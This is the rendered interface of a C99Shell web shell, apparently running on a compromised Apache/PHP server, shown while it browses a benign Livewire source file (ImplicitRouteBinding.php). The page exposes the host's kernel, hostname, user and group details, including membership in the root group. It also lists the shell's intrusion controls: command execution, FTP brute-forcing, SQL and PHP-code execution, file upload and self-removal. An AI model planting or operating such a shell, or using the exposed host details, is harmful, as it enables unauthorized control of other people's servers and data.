!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/livewire/livewire/src/   drwxr-xr-x
Free 29.11 GB of 117.98 GB (24.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ImplicitRouteBinding.php (3.85 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Livewire;

use 
ReflectionMethod;
use 
Illuminate\Routing\Route;
use 
Illuminate\Support\Reflector;
use 
Illuminate\Support\Collection;
use 
Illuminate\Contracts\Routing\UrlRoutable;
use 
Illuminate\Database\Eloquent\ModelNotFoundException;

/**
 * This class mirrors the functionality of Laravel's Illuminate\Routing\ImplicitRouteBinding class.
 */
class ImplicitRouteBinding
{
    protected 
$container;

    public function 
__construct($container)
    {
        
$this->container $container;
    }

    public function 
resolveAllParameters(Route $routeComponent $component)
    {
        
$params $this->resolveMountParameters($route$component);
        
$props $this->resolveComponentProps($route$component);

        return 
$params->merge($props)->all();
    }

    public function 
resolveMountParameters(Route $routeComponent $component)
    {
        if (! 
method_exists($component'mount')) {
            return new 
Collection();
        }

        
// Cache the current route action (this callback actually), just to be safe.
        
$cache $route->getAction('uses');

        
// We'll set the route action to be the "mount" method from the chosen
        // Livewire component, to get the proper implicit bindings.
        
$route->uses(get_class($component).'@mount');

        
// This is normally handled in the "SubstituteBindings" middleware, but
        // because that middleware has already ran, we need to run them again.
        
$this->container['router']->substituteImplicitBindings($route);

        
$parameters $route->resolveMethodDependencies($route->parameters(), new ReflectionMethod($component'mount'));

        
// Restore the original route action.
        
$route->uses($cache);

        return new 
Collection($parameters);
    }

    public function 
resolveComponentProps(Route $routeComponent $component)
    {
        if (
PHP_VERSION_ID 70400) {
            return;
        }

        return 
$this->getPublicPropertyTypes($component)
            ->
intersectByKeys($route->parametersWithoutNulls())
            ->
map(function ($className$propName) use ($route) {
                
$resolved $this->resolveParameter($route$propName$className);

                
// We'll also pass the resolved model back to the route
                // so that it can be used for any depending bindings
                
$route->setParameter($propName$resolved);

                return 
$resolved;
            });
    }

    public function 
getPublicPropertyTypes($component)
    {
        if (
PHP_VERSION_ID 70400) {
            return new 
Collection();
        }

        return 
collect($component->getPublicPropertiesDefinedBySubClass())
            ->
map(function ($value$name) use ($component) {
                return 
Reflector::getParameterClassName(new \ReflectionProperty($component$name));
            })
            ->
filter();
    }

    protected function 
resolveParameter($route$parameterName$parameterClassName)
    {
        
$parameterValue $route->parameter($parameterName);

        if (
$parameterValue instanceof UrlRoutable) {
            return 
$parameterValue;
        }

        
$instance $this->container->make($parameterClassName);

        
$parent $route->parentOfParameter($parameterName);

        if (
$parent instanceof UrlRoutable && array_key_exists($parameterName$route->bindingFields())) {
            if (! 
$model $parent->resolveChildRouteBinding(
                
$parameterName$parameterValue$route->bindingFieldFor($parameterName)
            )) {
                throw (new 
ModelNotFoundException())->setModel(get_class($instance), [$parameterValue]);
            }
        } elseif (! 
$model $instance->resolveRouteBinding($parameterValue$route->bindingFieldFor($parameterName))) {
            throw (new 
ModelNotFoundException())->setModel(get_class($instance), [$parameterValue]);
        }

        return 
$model;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--